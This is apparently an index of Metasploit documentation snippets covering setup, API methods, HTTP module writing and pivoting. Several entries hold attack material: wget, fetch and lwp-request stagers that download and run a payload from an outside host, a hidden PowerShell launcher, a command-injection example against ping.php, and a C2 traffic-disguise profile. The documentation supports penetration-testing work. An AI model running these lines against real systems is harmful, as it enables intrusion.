Metasploit

https://docs.metasploit.com/
Admin
Metasploit is a powerful open-source penetration testing framework used for developing, testing, and...
Tokens:705,535
Snippets:5,021
Trust Score:10
Update:1 week ago
Show doc for...
Tokens:
Raw
### Install and start PostgreSQL manually

Source: https://docs.metasploit.com/docs/development/get-started/setting-up-a-metasploit-development-environment.html

Installs PostgreSQL server and client, then starts the service and enables it on boot. May require sudo.

```bash
sudo apt update && sudo apt-get install -y postgresql postgresql-client
sudo service postgresql start && sudo update-rc.d postgresql enable

```

--------------------------------

### Copy example configuration file

Source: https://docs.metasploit.com/docs/using-metasploit/other/how-to-use-metasploit-mcp-server.html

Copies the example MessagePack configuration to the active configuration file.

```bash
cp config/mcp_config.yaml.example config/mcp_config.yaml

```

--------------------------------

### Initialize and start Metasploit database

Source: https://docs.metasploit.com/docs/using-metasploit/other/how-to-use-metasploit-mcp-server.html

Commands to initialize and start the Metasploit database. Run these if database-dependent tools return errors.

```bash
msfdb init
msfdb start
```

--------------------------------

### msfdb start - Start database and web service

Source: https://docs.metasploit.com/docs/using-metasploit/advanced/metasploit-web-service.html

Starts both the database and web service components.

```bash
msfdb start
```

--------------------------------

### setup method implementation

Source: https://docs.metasploit.com/api/Msf/Exploit/Remote/HttpClient.html

Overrides setup to validate the server fingerprint before proceeding with the exploit.

```ruby
def setup
  validate_fingerprint
  super
end
```

--------------------------------

### .init ⇒ void

Source: https://docs.metasploit.com/api/Msf/Config.html

Initializes configuration, creating directories as necessary.

```APIDOC
## .init ⇒ void

### Description
Initializes configuration, creating directories as necessary.

### Method
Class method

### Returns
- **void** - This method returns an undefined value.

### Source
```ruby
# File 'lib/msf/base/config.rb', line 266

def self.init
  self.new.init
end
```
```

--------------------------------

### Example Output of cmd_psh_payload

Source: https://docs.metasploit.com/docs/development/developing-modules/libraries/how-to-use-powershell-in-an-exploit.html

Example output of cmd_psh_payload: a one-liner system command that starts PowerShell with an encoded payload.

```powershell
%COMSPEC% /B /C start powershell.exe -Command $si = New-Object
System.Diagnostics.ProcessStartInfo;$si.FileName = 'powershell.exe';
$si.Arguments = ' -EncodedCommand [BASE64 PAYLOAD] ';
$si.UseShellExecute = $false;
$si.RedirectStandardOutput = $true;$si.WindowStyle = 'Hidden';
$si.CreateNoWindow = $True;
$p = [System.Diagnostics.Process]::Start($si);

```

--------------------------------

### lwp-request Command Stager Example

Source: https://docs.metasploit.com/docs/development/developing-modules/guides/how-to-use-command-stagers.html

Example of using the lwp-request command stager to download and execute a payload. Requires SRVHOST and SRVPORT to start an HTTP server.

```bash
lwp-request -m GET http://10.5.135.201:8080/mdkwKcdGCtU > /tmp/OKOnDYwn;chmod +x /tmp/OKOnDYwn;/tmp/OKOnDYwn;rm -f /tmp/OKOnDYwn
```

--------------------------------

### setup method

Source: https://docs.metasploit.com/api/Msf/Exploit/Local/CompileC.html

Calls super and initializes Metasm with an Ia32 CPU.

```ruby
# File 'lib/msf/core/exploit/local/compile_c.rb', line 9

def setup
  super
  init_metasm(Metasm::Ia32.new)
end
```

--------------------------------

### init method

Source: https://docs.metasploit.com/api/Msf/Config.html

Initializes configuration by creating necessary directories.

```ruby
# File 'lib/msf/base/config.rb', line 496

def init
  FileUtils.mkdir_p(module_directory)
  FileUtils.mkdir_p(config_directory)
  FileUtils.mkdir_p(log_directory)
  FileUtils.mkdir_p(session_log_directory)
  FileUtils.mkdir_p(loot_directory)
  FileUtils.mkdir_p(local_directory)
  FileUtils.mkdir_p(user_logos_directory)
  FileUtils.mkdir_p(user_module_directory)
  FileUtils.mkdir_p(user_plugin_directory)
  FileUtils.mkdir_p(user_data_directory)
  FileUtils.mkdir_p(histories_directory)
end
```

--------------------------------

### wget Command Stager Example

Source: https://docs.metasploit.com/docs/development/developing-modules/guides/how-to-use-command-stagers.html

Example of using the wget command stager to download and execute a payload on the target host. Requires SRVHOST and SRVPORT to start an HTTP server.

```bash
wget -qO /tmp/MZXxujch http://10.5.135.201:8080/mdkwKcdGCtU;chmod +x /tmp/MZXxujch;/tmp/MZXxujch;rm -f /tmp/MZXxujch
```

--------------------------------

### initialize(host, port = 80, context = {}, ssl = nil, ssl_version = nil, proxies = nil, username = '', password = '', kerberos_authenticator: nil, comm: nil, subscriber: nil, sslkeylogfile: nil)

Source: https://docs.metasploit.com/api/Rex/Proto/Http/Client.html

Creates a new client instance for making HTTP requests. Accepts host, port, and various optional parameters for SSL, authentication, and request configuration.

```APIDOC
## initialize(host, port = 80, context = {}, ssl = nil, ssl_version = nil, proxies = nil, username = '', password = '', kerberos_authenticator: nil, comm: nil, subscriber: nil, sslkeylogfile: nil)

### Description
Creates a new client instance for making HTTP requests. Accepts host, port, and various optional parameters for SSL, authentication, and request configuration.

### Method
initialize

### Parameters
- **host** (String) - Required - The hostname or IP address of the target server.
- **port** (Integer) - Optional - The port to connect to (default: 80).
- **context** (Hash) - Optional - Additional context for the client (default: {}).
- **ssl** (Boolean) - Optional - Whether to use SSL (default: nil).
- **ssl_version** (String) - Optional - The SSL version to use (default: nil).
- **proxies** (String) - Optional - Proxy configuration (default: nil).
- **username** (String) - Optional - Username for authentication (default: '').
- **password** (String) - Optional - Password for authentication (default: '').
- **kerberos_authenticator** (Object) - Optional - Kerberos authenticator object (default: nil).
- **comm** (Object) - Optional - Communication object (default: nil).
- **subscriber** (Rex::Proto::Http::HttpSubscriber) - Optional - A subscriber to HTTP requests/responses (default: nil).
- **sslkeylogfile** (String) - Optional - Path to SSL key log file (default: nil).

### Returns
- **Client** - A new client instance.

### Example
```ruby
client = Rex::Proto::Http::Client.new('example.com', 80)
```
```

--------------------------------

### Fetch Command Stager Example (BSD Only)

Source: https://docs.metasploit.com/docs/development/developing-modules/guides/how-to-use-command-stagers.html

Example of using the fetch command stager on BSD systems to download and execute a payload. Requires SRVHOST and SRVPORT to start an HTTP server.

```bash
fetch -qo /tmp/UGWuPPcy http://10.5.135.201:8080/mdkwKcdGCtU;chmod +x /tmp/UGWuPPcy;/tmp/UGWuPPcy;rm -f /tmp/UGWuPPcy
```

--------------------------------

### Initialize the Metasploit database with ./msfdb init

Source: https://docs.metasploit.com/docs/using-metasploit/intermediate/metasploit-database-support.html

Run this command from the Metasploit installation folder to create the database. The output shows the database being created and the initial schema being set up.

```bash
./msfdb init
```

```text
Creating database at /Users/your_current_account_name/.msf4/db
Starting database at /Users/your_current_account_name/.msf4/db...success
Creating database users
Writing client authentication configuration file /Users/your_current_account_name/.msf4/db/pg_hba.conf
Starting database at /Users/your_current_account_name/.msf4/db...success
Creating initial database schema

```

--------------------------------

### Bad example: send_request_raw with GET parameters in URI

Source: https://docs.metasploit.com/docs/development/quality/msftidy.html

Shows an incorrect way to supply GET parameters in a request URI. The URI contains query parameters directly, which is flagged by the vars_get check.

```ruby
res = send_request_raw({
  'uri' => uri_base + '/upload.php?type=file&folder=' + folder
})

```

--------------------------------

### #initialize(host, port = 80, context = {}, ssl = nil, ssl_version = nil, proxies = nil, username = '', password = '', kerberos_authenticator: nil, comm: nil, subscriber: nil, sslkeylogfile: nil) ⇒ Client

Source: https://docs.metasploit.com/api/Rex/Proto/Http/Client.html

Creates a new client instance with the specified connection and authentication parameters.

```APIDOC
## initialize(host, port = 80, context = {}, ssl = nil, ssl_version = nil, proxies = nil, username = '', password = '', kerberos_authenticator: nil, comm: nil, subscriber: nil, sslkeylogfile: nil) ⇒ Client

### Description
Creates a new client instance.

### Method
initialize

### Parameters
- **host** (String) - Required - The target host.
- **port** (Integer) - Optional - The target port, default 80.
- **context** (Hash) - Optional - Additional context options.
- **ssl** (Boolean) - Optional - Whether to use SSL.
- **ssl_version** (String) - Optional - SSL version to use.
- **proxies** (Array) - Optional - Proxy configuration.
- **username** (String) - Optional - Username for authentication, default empty.
- **password** (String) - Optional - Password for authentication, default empty.
- **kerberos_authenticator** (Object) - Optional - Kerberos authenticator object.
- **comm** (Object) - Optional - Communication object.
- **subscriber** (Object) - Optional - Subscriber object.
- **sslkeylogfile** (String) - Optional - Path to SSL key log file.

### Returns
- **Client** - The new client instance.
```

--------------------------------

### Run Samba on Ubuntu 16.04 in Docker

Source: https://docs.metasploit.com/docs/pentesting/metasploit-guide-smb.html

Starts a Docker container with Ubuntu 16.04, publishes SMB ports 139 and 445, and installs Samba. The commands create a temporary directory and install the `samba` package.

```shell
docker run -it --rm --publish 127.0.0.1:139:139 --publish 127.0.0.1:445:445 ubuntu:16.04 /bin/bash
mkdir -p /tmp/foo
apt update
apt install -y samba

```

--------------------------------

### send_request_cgi basic example

Source: https://docs.metasploit.com/docs/development/developing-modules/libraries/http/how-to-send-an-http-request-using-httpclient.html

Sends a CGI-compatible HTTP request using the send_request_cgi method. Use this when your request contains a query string or POST data. The example sends a GET request to '/hello_world.php' with query parameters.

```ruby
send_request_cgi({
  'method' => 'GET',
  'uri' => '/hello_world.php',
  'vars_get' => {
    'param_1' => 'abc',
    'param_2' => '123'
  }
})

```

--------------------------------

### init

Source: https://docs.metasploit.com/api/Msf/Config.html

Initializes configuration, creating directories as necessary.

```APIDOC
## init

### Description
Initializes configuration, creating directories as necessary.

### Method
init

### Returns
- **void**
```

--------------------------------

### connect_reset_safe

Source: https://docs.metasploit.com/api/Metasploit/Framework/Telnet/Client.html

Sometimes telnet servers start RSTing if you get them angry. This method provides a safe way to connect.

```APIDOC
## connect_reset_safe

### Description
Sometimes telnet servers start RSTing if you get them angry. This method provides a safe way to connect.

### Method
connect_reset_safe

### Returns
- **Object** - The connection result.
```

--------------------------------

### .install_root ⇒ String

Source: https://docs.metasploit.com/api/Msf/Config.html

Returns the framework installation root.

```APIDOC
## .install_root ⇒ String

### Description
Returns the framework installation root.

### Method
Class method

### Returns
- **String** - the framework installation root InstallRoot.

### Source
```ruby
# File 'lib/msf/base/config.rb', line 90

def self.install_root
  InstallRoot
end
```
```

--------------------------------

### Start msfrpcd RPC server with username and password

Source: https://docs.metasploit.com/docs/using-metasploit/advanced/RPC/how-to-use-metasploit-messagepack-rpc.html

Starts the MessagePack RPC server using the msfrpcd utility. Replace <username> and <pass> with your credentials; the example uses 'user' and 'pass'. The -f flag runs the server in the foreground.

```bash
$ ruby msfrpcd -U <username> -P <pass> -f

```

--------------------------------

### .init

Source: https://docs.metasploit.com/api/Msf/Config.html

Initializes configuration, creating directories as necessary.

```APIDOC
## .init

### Description
Initializes configuration, creating directories as necessary.

### Method
Class method

### Returns
- **void**
```

--------------------------------

### execute_command with bad character filtering

Source: https://docs.metasploit.com/docs/development/developing-modules/guides/how-to-use-command-stagers.html

Concrete example of execute_command using HttpClient to send a GET request, with filter_bad_chars to handle special characters.

```ruby
def filter_bad_chars(cmd)
  cmd.gsub!(/chmod \+x/, 'chmod 777')
  cmd.gsub!(/;/, ' %26%26 ')
  cmd.gsub!(/ /, '+')
end

def execute_command(cmd, _opts = {})
  send_request_cgi(
    {
      'method' => 'GET',
      'uri' => '/ping.php',
      'encode_params' => false,
      'vars_get' => {
        'ip' => "127.0.0.1+%26%26+#{filter_bad_chars(cmd)}"
      }
    }
  )
end

def exploit
  print_status('Exploiting...')
  execute_cmdstager
end

```

--------------------------------

### Query command help and example execution

Source: https://docs.metasploit.com/docs/pentesting/metasploit-guide-postgresql.html

Shows the help for the query command and an example execution of a SQL query against the target, including the response table.

```text
postgresql @ 127.0.0.1:5432 (template1) > query -h
Usage: query

Run a single SQL query on the target.

OPTIONS:

    -h, --help      Help menu.
    -i, --interact  Enter an interactive prompt for running multiple SQL queries

Examples:

    query SELECT user;
    query SELECT version();
    query SELECT * FROM pg_catalog.pg_tables;

postgresql @ 127.0.0.1:5432 (template1) > query 'SELECT version();'
[*] SELECT 1

Response
========

    #  version
    -  -------
    0  PostgreSQL 14.1 on aarch64-apple-darwin20.6.0, compiled by Apple clang version 12.0.5 (clang-1205.0.22.9), 64-bit

```

--------------------------------

### Access text of an element with #text

Source: https://docs.metasploit.com/docs/development/developing-modules/libraries/http/how-to-parse-an-http-response.html

Calls #text on a Nokogiri element to get its text content. Example prints the text of the element found by the vague selector.

```ruby
html = res.get_html_document
greeting = html.at('[text()*="Bonjour"]')
print_status(greeting.text)

```

--------------------------------

### Full example: Send HTTP request with Rex::Proto::Http::Client

Source: https://docs.metasploit.com/docs/development/developing-modules/libraries/http/how-to-send-an-http-request-using-rex-proto-http-client.html

Complete example showing how to instantiate a Rex::Proto::Http::Client, configure it with datastore options, connect, send a CGI request, and close the connection. Use this as a template for sending HTTP requests in Metasploit modules.

```ruby
cli = Rex::Proto::Http::Client.new(rhost, rport, {}, ssl, ssl_version, proxies, user, pass)
cli.set_config(
  'vhost' => vhost,
  'agent' => datastore['UserAgent'],
  'uri_encode_mode'        => datastore['HTTP::uri_encode_mode'],
  'uri_full_url'           => datastore['HTTP::uri_full_url'],
  'pad_method_uri_count'   => datastore['HTTP::pad_method_uri_count'],
  'pad_uri_version_count'  => datastore['HTTP::pad_uri_version_count'],
  'pad_method_uri_type'    => datastore['HTTP::pad_method_uri_type'],
  'pad_uri_version_type'   => datastore['HTTP::pad_uri_version_type'],
  'method_random_valid'    => datastore['HTTP::method_random_valid'],
  'method_random_invalid'  => datastore['HTTP::method_random_invalid'],
  'method_random_case'     => datastore['HTTP::method_random_case'],
  'uri_dir_self_reference' => datastore['HTTP::uri_dir_self_reference'],
  'uri_dir_fake_relative'  => datastore['HTTP::uri_dir_fake_relative'],
  'uri_use_backslashes'    => datastore['HTTP::uri_use_backslashes'],
  'pad_fake_headers'       => datastore['HTTP::pad_fake_headers'],
  'pad_fake_headers_count' => datastore['HTTP::pad_fake_headers_count'],
  'pad_get_params'         => datastore['HTTP::pad_get_params'],
  'pad_get_params_count'   => datastore['HTTP::pad_get_params_count'],
  'pad_post_params'        => datastore['HTTP::pad_post_params'],
  'pad_post_params_count'  => datastore['HTTP::pad_post_params_count'],
  'uri_fake_end'           => datastore['HTTP::uri_fake_end'],
  'uri_fake_params_start'  => datastore['HTTP::uri_fake_params_start'],
  'header_folding'         => datastore['HTTP::header_folding'],
  'usentlm2_session'       => datastore['NTLM::UseNTLM2_session'],
  'use_ntlmv2'             => datastore['NTLM::UseNTLMv2'],
  'send_lm'                => datastore['NTLM::SendLM'],
  'send_ntlm'              => datastore['NTLM::SendNTLM'],
  'SendSPN'                => datastore['NTLM::SendSPN'],
  'UseLMKey'               => datastore['NTLM::UseLMKey'],
  'domain'                 => datastore['DOMAIN'],
  'DigestAuthIIS'          => datastore['DigestAuthIIS']
)
cli.connect
req = cli.request_cgi({'uri'=>'/'})
res = cli.send_recv(req)
cli.close
```

--------------------------------

### Get form parameters with #params

Source: https://docs.metasploit.com/api/Msf/Auxiliary/Web/Form.html

Returns a hash of parameters to be submitted, derived from the form's inputs. The example shows a simple hash with a name-value pair.

```ruby
{ 'name' => 'John' }
```

```ruby
# File 'lib/msf/core/auxiliary/web/form.rb', line 90

def params
  @params ||= inputs.reject{ |i| i[:name].to_s.empty? }.
    inject( {} ) { |h, i| h[i[:name]] = i[:value]; h }
end
```

--------------------------------

### Initialize the Metasploit web service with msfdb --component webservice init

Source: https://docs.metasploit.com/docs/using-metasploit/intermediate/metasploit-database-support.html

Run this command to set up the web service. It prompts for a username and password for the web service account.

```bash
msfdb --component webservice init
```

```text
[?] Initial MSF web service account username? [your_current_account_name]:

```

```text
[?] Initial MSF web service account password? (Leave blank for random password):

```

--------------------------------

### Example Gemfile.local for Metasploit Framework

Source: https://docs.metasploit.com/docs/development/maintainers/ruby-gems/using-local-gems.html

This is the full example Gemfile.local file. It includes the framework's Gemfile via instance_eval and defines a custom 'local' group for testing gems. The file is not used by default; you must run 'bundle install --gemfile Gemfile.local' to use it. Note that msfupdate does not consider Gemfile.local when updating.

```ruby
##
# Example Gemfile.local file for Metasploit Framework
#
# The Gemfile.local file provides a way to use other gems that are not
# included in the standard Gemfile provided with Metasploit.
# This filename is included in Metasploit's .gitignore file, so local changes
# to this file will not accidentally show up in future pull requests. This
# example Gemfile.local includes all gems in Gemfile using instance_eval.
# It also creates a new bundle group, 'local', to hold additional gems.
#
# This file will not be used by default within the framework. As such, one
# must first install the custom Gemfile.local with bundle:
#   bundle install --gemfile Gemfile.local
#
# Note that msfupdate does not consider Gemfile.local when updating the
# framework. If it is used, it may be necessary to run the above bundle
# command after the update.
#
###

# Include the Gemfile included with the framework. This is very
# important for picking up new gem dependencies.
msf_gemfile = File.join(File.dirname(__FILE__), 'Gemfile')
if File.readable?(msf_gemfile)
  instance_eval(File.read(msf_gemfile))
end

# Create a custom group
group :local do
   gem 'rex-powershell', path: '/home/gwillcox/git/rex-powershell'
end

```

--------------------------------

### Good example: send_request_raw with vars_get hash

Source: https://docs.metasploit.com/docs/development/quality/msftidy.html

Shows the recommended way to supply GET parameters using the 'vars_get' hash. This avoids embedding parameters in the URI and is the correct pattern for msftidy.

```ruby
res = send_request_raw({
  'uri' => uri_base + '/upload.php',
  'vars_get' => {
    'type' => 'file',
    'folder' => folder
  }
})

```

--------------------------------

### Set up and run auxiliary/server/socks_proxy

Source: https://docs.metasploit.com/docs/using-metasploit/intermediate/pivoting-in-metasploit.html

Example of using the Metasploit console to load the socks_proxy module, view its options, set SRVHOST to 127.0.0.1 and SRVPORT to 1080, run the server as a background job, and verify it with the jobs command.

```msfconsole
msf > use auxiliary/server/socks_proxy
msf auxiliary(server/socks_proxy) > show options

Module options (auxiliary/server/socks_proxy):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   PASSWORD                   no        Proxy password for SOCKS5 listener
   SRVHOST   0.0.0.0          yes       The local host or network interface to listen on.
                                         This must be an address on the local machine or
                                        0.0.0.0 to listen on all addresses.
   SRVPORT   1080             yes       The port to listen on
   USERNAME                   no        Proxy username for SOCKS5 listener
   VERSION   5                yes       The SOCKS version to use (Accepted: 4a, 5)


Auxiliary action:

   Name   Description
   ----   -----------
   Proxy  Run a SOCKS proxy server


msf auxiliary(server/socks_proxy) > set SRVHOST 127.0.0.1
SRVHOST => 127.0.0.1
msf auxiliary(server/socks_proxy) > set SRVPORT 1080
SRVPORT => 1080
msf auxiliary(server/socks_proxy) > run
[*] Auxiliary module running as background job 0.
msf auxiliary(server/socks_proxy) >
[*] Starting the SOCKS proxy server

msf auxiliary(server/socks_proxy) > jobs

Jobs
====

  Id  Name                           Payload  Payload opts
  --  ----                           -------  ------------
  0   Auxiliary: server/socks_proxy

msf auxiliary(server/socks_proxy) >
```

--------------------------------

### Run enum_applications post module from Meterpreter

Source: https://docs.metasploit.com/docs/pentesting/metasploit-guide-post-gather-modules.html

Use the 'run' command within a Meterpreter prompt to execute the enum_applications post module. The example shows the command and the output listing installed applications.

```console
msf > sessions --interact -1
[*] Starting interaction with 5...

meterpreter > run post/windows/gather/enum_applications

[*] Enumerating applications installed on DESKTOP-N3MAG5R

Installed Applications
======================

 Name                                                                Version
 ----                                                                -------
 7-Zip 21.07 (x64)                                                   21.07
 Application Verifier x64 External Package                           10.1.19041.685
 ClickOnce Bootstrapper Package for Microsoft .NET Framework         4.8.04162
 DiagnosticsHub_CollectionService                                    16.1.28901
 Docker Desktop                                                      2.2.0.4
 ... etc ..

```

--------------------------------

### Full Metasploit module example using send_request_cgi

Source: https://docs.metasploit.com/docs/development/developing-modules/libraries/http/how-to-send-an-http-request-using-httpclient.html

Complete auxiliary module that registers TARGETURI, normalizes the URI, sends a GET request with query parameters, and prints success or failure based on the response code.

```ruby
class MetasploitModule < Msf::Auxiliary

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'HttpClient Example',
        'Description' => %q{
          Do a send_request_cgi()
        },
        'Author' => [ 'sinn3r' ],
        'License' => MSF_LICENSE
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base path', '/'])
      ]
    )
  end

  def run
    uri = target_uri.path

    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(uri, 'admin', 'index.php'),
      'vars_get' => {
        'p1' => 'This is param 1',
        'p2' => 'This is param 2'
      }
    })

    if res && res.code == 200
      print_good('I got a 200, awesome')
    else
      print_error('No 200, feeling blue')
    end
  end
end

```

--------------------------------

### db_connect command usage and examples

Source: https://docs.metasploit.com/docs/using-metasploit/advanced/metasploit-web-service.html

Shows the usage and examples for the db_connect command, including options for listing services, using a YAML file, naming connections, and handling SSL certificates and tokens.

```bash
db_connect <options> <url>
```

```bash
db_connect http://localhost:5443
```

```bash
db_connect -c ~/.msf4/msf-ws-cert.pem -t 72ce00fd9ab1a96970137e5a12faa12f38dcc4a9e42158bdd3ce7043c65f5ca37b862f3faf3630d2 https://localhost:5443
```

```bash
db_connect -l
```

```bash
db_connect -n LA_server http://localhost:5443
```

--------------------------------

### Example output of running the HttpClient and HttpServer module

Source: https://docs.metasploit.com/docs/development/developing-modules/libraries/http/how-to-write-a-module-using-httpserver-and-httpclient.html

Expected console output when running the module. Shows the reverse handler starting, the HTTP server URL, the malicious request being sent, the payload request received, and the server stopping after the timeout.

```text
msf exploit(test) > run
[*] Exploit running as background job.

[*] Started reverse handler on 10.0.1.76:4444 
[*] Using URL: http://0.0.0.0:8080/SUuv1qjZbCibL80
[*]  Local IP: http://10.0.1.76:8080/SUuv1qjZbCibL80
[*] Server started.
[*] Sending a malicious request to /
msf exploit(test) >
[*] 10.0.1.76        test - 10.0.1.76:8181 - Payload request received: /SUuv1qjZbCibL80
[*] Server stopped.

msf exploit(test) >

```

--------------------------------

### Example final /etc/proxychains.conf

Source: https://docs.metasploit.com/docs/using-metasploit/intermediate/pivoting-in-metasploit.html

Shows the expected final configuration file after adding the SOCKS5 proxy line. Other proxy entries may need to be commented out to avoid interference.

```text
# proxychains.conf  VER 3.1
#
#        HTTP, SOCKS4, SOCKS5 tunneling proxifier with DNS.
#

# The option below identifies how the ProxyList is treated.
# only one option should be uncommented at time,
# otherwise the last appearing option will be accepted
#
#dynamic_chain
#
# Dynamic - Each connection will be done via chained proxies
# all proxies chained in the order as they appear in the list
# at least one proxy must be online to play in chain
# (dead proxies are skipped)
# otherwise EINTR is returned to the app
#
strict_chain
#
# Strict - Each connection will be done via chained proxies
# all proxies chained in the order as they appear in the list
# all proxies must be online to play in chain
# otherwise EINTR is returned to the app
#
#random_chain
#
# Random - Each connection will be done via random proxy
# (or proxy chain, see  chain_len) from the list.
# this option is good to test your IDS :)

# Make sense only if random_chain
#chain_len = 2

# Quiet mode (no output from library)
#quiet_mode

# Proxy DNS requests - no leak for DNS data
proxy_dns

# Some timeouts in milliseconds
tcp_read_time_out 15000
tcp_connect_time_out 8000

# ProxyList format
#       type  host  port [user pass]
#       (values separated by 'tab' or 'blank')
#
#
#        Examples:
#
#            	socks5	192.168.67.78	1080	lamer	secret
#		http	192.168.89.3	8080	justu	hidden
#	 	socks4	192.168.1.49	1080
#	        http	192.168.39.93	8080
#
#
#       proxy types: http, socks4, socks5
#        ( auth types supported: "basic"-http  "user/pass"-socks )
#
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
socks5 127.0.0.1 1080

```

--------------------------------

### Obfuscate method and use sym in HTML

Source: https://docs.metasploit.com/docs/development/developing-modules/libraries/obfuscation/how-to-obfuscate-javascript-in-metasploit.html

Shows how to obfuscate a method name and then use obfu.sym('test') to get the obfuscated name for use in an HTML event handler. The example builds an HTML string with the obfuscated JavaScript and the sym call.

```ruby
js = %Q|
function test() {
	alert("hello, world!");
}
|

obfu = ::Rex::Exploitation::ObfuscateJS.new(js)
obfu.obfuscate('Symbols' => {'Methods'=>['test']}, 'Strings' => true)

html = %Q|
<html>
<head>
<script>
#{js}
</script>
</head>
<body onload="#{obfu.sym('test')}();">
</body>
</html>
|

puts html
```

--------------------------------

### .install_root

Source: https://docs.metasploit.com/api/Msf/Config.html

Returns the framework installation root.

```APIDOC
## .install_root

### Description
Returns the framework installation root.

### Method
Class method

### Returns
- **String** - The framework installation root path.
```

--------------------------------

### Using request_cgi with vars_get to create a CGI-compatible request

Source: https://docs.metasploit.com/docs/development/developing-modules/libraries/http/how-to-send-an-http-request-using-rex-proto-http-client.html

Creates a CGI-compatible HTTP request with GET parameters. The comment indicates that cli is a Rex::Proto::Http::Client object. This example uses the request_cgi method with uri and vars_get options.

```ruby
# cli is a Rex::Proto::Http::Client object
req = cli.request_cgi({
	'uri'      =>'/test.php',
	'vars_get' => {
		'param1' => 'value',
		'param2' => 'value'
	}
})

```

--------------------------------

### Run ldap_esc_vulnerable_cert_finder module with sample output

Source: https://docs.metasploit.com/docs/pentesting/active-directory/ad-certificates/attacking-ad-cs-esc-vulnerabilities.html

Sample Metasploit session showing how to load the auxiliary/gather/ldap_esc_vulnerable_cert_finder module, view its options, set the DOMAIN, USERNAME, PASSWORD, and RHOSTS parameters, and run the module against a Domain Controller. The output includes the module options table and the run command.

```text
msf > use auxiliary/gather/ldap_esc_vulnerable_cert_finder
msf auxiliary(gather/ldap_esc_vulnerable_cert_finder) > show options

Module options (auxiliary/gather/ldap_esc_vulnerable_cert_finder):

   Name                   Current Setting  Required  Description
   ----                   ---------------  --------  -----------
   BASE_DN                                 no        LDAP base DN if you already have it
   DOMAIN                                  no        The domain to authenticate to
   PASSWORD                                no        The password to authenticate with
   REPORT_NONENROLLABLE   false            yes       Report nonenrollable certificate templates
   REPORT_PRIVENROLLABLE  false            yes       Report certificate templates restricted to domain
                                                      and enterprise admin
   RHOSTS                                  yes       The target host(s), see https://github.com/rapid7/metasploit
                                                     -framework/wiki/Using-Metasploit
   RPORT                  389              yes       The target port
   SSL                    false            no        Enable SSL on the LDAP connection
   USERNAME                                no        The username to authenticate with


View the full module info with the info, or info -d command.

msf auxiliary(gather/ldap_esc_vulnerable_cert_finder) > set DOMAIN DAFOREST
DOMAIN => DAFOREST
msf auxiliary(gather/ldap_esc_vulnerable_cert_finder) > set USERNAME normaluser
USERNAME => normaluser
msf auxiliary(gather/ldap_esc_vulnerable_cert_finder) > set PASSWORD normalpass
PASSWORD => normalpass
msf auxiliary(gather/ldap_esc_vulnerable_cert_finder) > set RHOSTS 172.30.239.85
RHOSTS => 172.30.239.85
msf auxiliary(gather/ldap_esc_vulnerable_cert_finder) > run
[*] Running module against 172.30.239.85
```

--------------------------------

### Example Malleable C2 Profile

Source: https://docs.metasploit.com/docs/using-metasploit/advanced/meterpreter/meterpreter-malleable-c2-profiles.html

A complete profile combining directives for http-get and http-post. It sets a default user agent, custom URIs, headers, and metadata/id placement. The GET response is base64-encoded and wrapped with START_ and _END, while the POST body is base64-encoded.

```plaintext
set useragent "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)";

http-get {
    set uri "/updates/check";

    client {
        header "Accept" "application/json";

        metadata {
            parameter "v";
        }
    }

    server {
        header "Content-Type" "application/octet-stream";

        output {
            base64;
            prepend "START_";
            append "_END";
        }
    }
}

http-post {
    set uri "/updates/report";

    client {
        header "Content-Type" "application/octet-stream";

        id {
            parameter "uid";
        }

        output {
            base64;
        }
    }

    server {
        header "Content-Type" "text/plain";
    }
}

```

--------------------------------

### OptPath.new example

Source: https://docs.metasploit.com/docs/development/developing-modules/module-metadata/how-to-use-datastore-options.html

Creates an option for a local file path. The example sets a required option named 'FILE' with no default value.

```ruby
OptPath.new('FILE', [ true, 'Load a local file' ])

```

--------------------------------

### initialize

Source: https://docs.metasploit.com/api/Msf/Auxiliary/Nfs.html

Initializes the module and registers the LHOST and HOSTNAME options.

```APIDOC
## initialize(info = {}) ⇒ Object

### Description
Initializes the module and registers the LHOST and HOSTNAME options.

### Method
initialize

### Parameters
- **info** (Hash) - Optional - Module information hash (default: {})

### Returns
- **Object** - The initialized module instance

### Options Registered
- **LHOST** (OptAddressLocal) - Optional - IP to match shares against (default: Rex::Socket.source_address)
- **HOSTNAME** (OptString) - Optional - Hostname to match shares against (default: '')

### Example
```ruby
initialize(info)
```
```

--------------------------------

### Full Python Module Example

Source: https://docs.metasploit.com/docs/development/developing-modules/external-modules/writing-external-python-modules.html

A complete Metasploit Python module that sends a GET request to a target and logs the response. It defines metadata with options for 'targeturi' and 'rhost', checks for the 'requests' dependency, and uses the 'metasploit' module's run function.

```python
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

# standard modules
import logging

# extra modules
dependencies_missing = False
try:
    import requests
except ImportError:
    dependencies_missing = True

from metasploit import module


metadata = {
    'name': 'Python Module Example',
    'description': '''
        Python communication with msfconsole.
    ''',
    'authors': [
        'Jacob Robles'
    ],
    'date': '2018-03-22',
    'license': 'MSF_LICENSE',
    'references': [
        {'type': 'url', 'ref': 'https://blog.rapid7.com/2017/12/28/regifting-python-in-metasploit/'},
        {'type': 'aka', 'ref': 'Coldstone'}
    ],
    'type': 'single_scanner',
    'options': {
        'targeturi': {'type': 'string', 'description': 'The base path', 'required': True, 'default': '/'},
        'rhost': {'type': 'address', 'description': 'Target address', 'required': True, 'default': None}
    }
}


def run(args):
    module.LogHandler.setup(msg_prefix='{} - '.format(args['rhost']))
    if dependencies_missing:
        logging.error('Module dependency (requests) is missing, cannot continue')
        return

    # Your code here
    try:
        r = requests.get('https://{}/{}'.format(args['rhost'], args['targeturi']), verify=False)
    except requests.exceptions.RequestException as e:
        logging.error('{}'.format(e))
        return

    logging.info('{}...'.format(r.text[0:50]))


if __name__ == '__main__':
    module.run(metadata, run)

```

--------------------------------

### TFTP: msfconsole session showing tftp server and jobs

Source: https://docs.metasploit.com/docs/development/developing-modules/guides/how-to-use-fetch-payloads.html

Example msfconsole session demonstrating TFTP fetch handler behavior. Shows that each to_handler starts a new tftp server on the same port, leading to multiple UDP listeners and potential race conditions.

```console
msf payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > jobs

Jobs
====

  Id  Name                    Payload                                       Payload opts
  --  ----                    -------                                       ------------
